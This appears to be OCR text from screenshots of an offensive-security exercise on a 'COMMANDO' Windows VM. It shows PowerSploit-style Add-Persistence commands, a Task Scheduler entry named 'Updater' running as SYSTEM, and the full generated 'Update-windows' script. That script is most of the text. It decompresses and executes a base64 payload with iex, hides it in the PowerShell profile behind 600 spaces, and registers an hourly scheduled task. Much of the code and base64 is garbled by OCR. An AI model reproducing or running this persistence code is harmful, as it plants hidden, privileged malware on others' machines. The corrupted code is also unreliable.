COMMANDO 4/12/2022 1:28:25 PM

PS C:\Users\bramw\Downloads > $suop = New-ElevatedPersistenceOption
COMMANDO 4/12/2022 1:28:28 PM

PS C:\Users\bramw\Downloads > Add-Persistence .\persist.psil
$suop $userop

COMMANDO 4/12/2022 1:28:35 PM

PS C:\Users\bramw\Downloads > 1ls

Directory: C:\Users\bramw\Downloads

LastWriteTime Length Name

4/12/2022 : 2499 persist.psl
4/12/2022 : 4564 Persistence.psl
4/12/2022 s 788 RemovePersistence.
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+) Task Scheduler (Local)
b @ Task Scheduler Library

m > |

General | Triggers | Actions \ Conditions | Settings | History

Name: [Updater
Location:

Author: Administrator
Description:

Security options
When running the task, use the following user account:
SYSTEM
Run only when user is logged on
Run whether user is logged on or not
% Do not store password. The task will only have access to local resources

Run with highest privileges




function Update-windows{Param([switch]$Persist)$errorActionPreference="silentlyContinue’
$script={sal a New-Object;iex(a IO.StreamReader ((a IO.Compression.DeflateStream

([10.Memorystream] [Convert]: :FromBase64String

[@7bOHYBX] 11UML23Ke39K9Ur X4HShCIBgEYTYKEAQ/MGIZeaS7 B1pRyMpqyqBymVWZVImFKDM7Z28995777333nvvV
e60510]1 /ff /z9czmQBbPbOStriniGAqsgfP358Hz81frdvXx73+RS901r /P71wtinfPn6efpb/nR79x8r2nZXm2wWFViu/
XR27xe5uwoviGsLD+68/3FfOFmtI2UxXTZ52a

1qu61Bunzsn321u1PFnW?zsr;sqymwpruquzquaU-pu 126ezqdf GDXPB4 I7YEqQlq
uv65j1/wWvztP2zuHH4DNSZ1nbt 5mTj9mbhv5+7ht62KybrnMPr TabvhXcbGP6rGat /vbj1imdLXLqy7 7MT dEgnpXZhd9
SejubYsAf /z6/cfIbl79bk18XZ2+ /OyFiE+RtDDVAXUSLSVA /Zc+LZQE4aw9qt 19Q 1+ 1H3y2W9 /Y
Srex9rFezyqZSyp88wy|

nekK931t1dz07Tzeo30vV us2/9/3vp7 /bm2nlZD37Re/mv3T97Bdd1ITT52Zr vzeWInxXx5A/xzs0T87 3v8/XT8HD,/HY9
rn3i79M+Uv9vHFhP6Sjzﬁv?dgﬁAWIaJLVr227An3vo622+P31Aﬁ+xn+ohTA/wcx2R4ﬂx7+
RsfPcBv/Cb/ggbmjAjaztAB/gCwHK308Q93fB+fexhyiLnTexbLffy2yl10Bt /wePsSNv+G1GT+7 JHAEEY]JAO/OU98/
Pt+1r9/LzGF87T1LANdrMtyBEd1 jiojuAsbgnN/EX2hlji /vTcyfe/umwy7f7 vOMTsXv/K3F

dNPzZfofHI1 /uKmuOwP0156Z37h]y1X70PzPfvP /YnShyeoaxuf 1GD68WBSLPTP7T/4VgBjinIGBIOS ] 38+5QEYPX30
518ngwP7HCde98y1PKTZi3mBGY1Zn5mMyANMGf081SGVh7aDn1AfEﬁtkf+4OD/BKL4RWCBGJQiKPc/NZUo RG8D/G
+CIMZBCcVMpcIYKCTe+r8sx/5jQH1gMu9wW706ZB51 XIwRC/19hs6FfMUr oMUO7 BOWX0zVvBLUPK|

PO3mf 1yP8eXI8NjVmt8CriGcdoxe5v/CIAZ7BWimTGT8xVPNdY85ZdZmFNDpPcUt /JUATYRgavr 937 eNbBvmb64 XRAX W,
h617pkv7FucMX/+tdBmgbQ9wzwz6x6d3KR1 jHsMeKRalFXgEOE J+BSU2wWexCefvim7+4c9yawLk
IPN90GF6/7IMa6Hk /4XgD3F2EQqQBbufmg/mPBbgDNBFXMLYZAFTEAFEPAIZN/v8+btm/qLd/Of TJ9LrS189ChwHXZG
3/sia+fff/Toi+zdvtd2jz/ny4t2DhR3dnbujECVHaHXHTZ6r 6+bN1+MX62XbbHIX25M87pavc7ry2Kan
MVSrgZZyVBP61Wlz3wo52RQ3I00PmdwIQTIN/X2ATB4E9gOVvEAIDR

I0.Compression.CompressionMode] : :Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()}if
($persist){if(([security.Principal.windowsPrincipal]
[Security.Principal.windowsIdentity]::GetCurrent()).IsInRole
([security.Principal.windowsBuiltInRole] 'Administrator ')){$Prof=$PROFILE.Al1UsersAl1Hosts;
$Payload="schtasks /Create /RU system /SC HOURLY /TN Updater /TR
“"$(SEnv:SystemRoot)\System32\windowsPowershel1\vl. 0\powershell.exe -NonInteractive ""}else
{$Prof=$PROFILE.CurrentUserAllHosts; $Payload="schtasks /Create /SC HOURLY /TN Updater /TR
“"$($ENnV:SystemRoot)\System32\windowsPowershell\vl. 0\powershell.exe -NonInteractive ""}Imkdir
(split-pPath -Parent $prof)(gc $pProf) + (° ' * 600 + $Script)|out-File $Prof -Foiex
$payload|out-Nullwrite-output $Payloadielse{$script.Invoke()}} Update-windows -Persist
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function Update-windows{

Param([Switch]s$Persist)

$ErrorActionPreference="SilentlyContinue’

$script={sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([I0.MemoryStream][Con
if(sPersist){

if(([Security.Principal.windowsPrincipal] [Security.Principal.windowsIdentity]: :GetCurrent()).IsInRole
{3Prof=SPROFILE.Al1UsersAl1Hosts; $Payload="schtasks /Create /RU system /SC HOURLY /TN Updater /TR '"$§
else

{3Prof=SPROFILE.CurrentUserAlTHosts; SPayload="schtasks /Create /SC HOURLY /TN Updater /TR "S({$Env:Sy
mkdir (Split-Path -Parent $Prof)

(gc sProf) + (" ' = 600 + $Script)Out-File $SProf -Fo

iex SPayload|out-Null

Write-Output S$Paylocad}

else

{sscript.Invoke()}

} Update-windows -Persist
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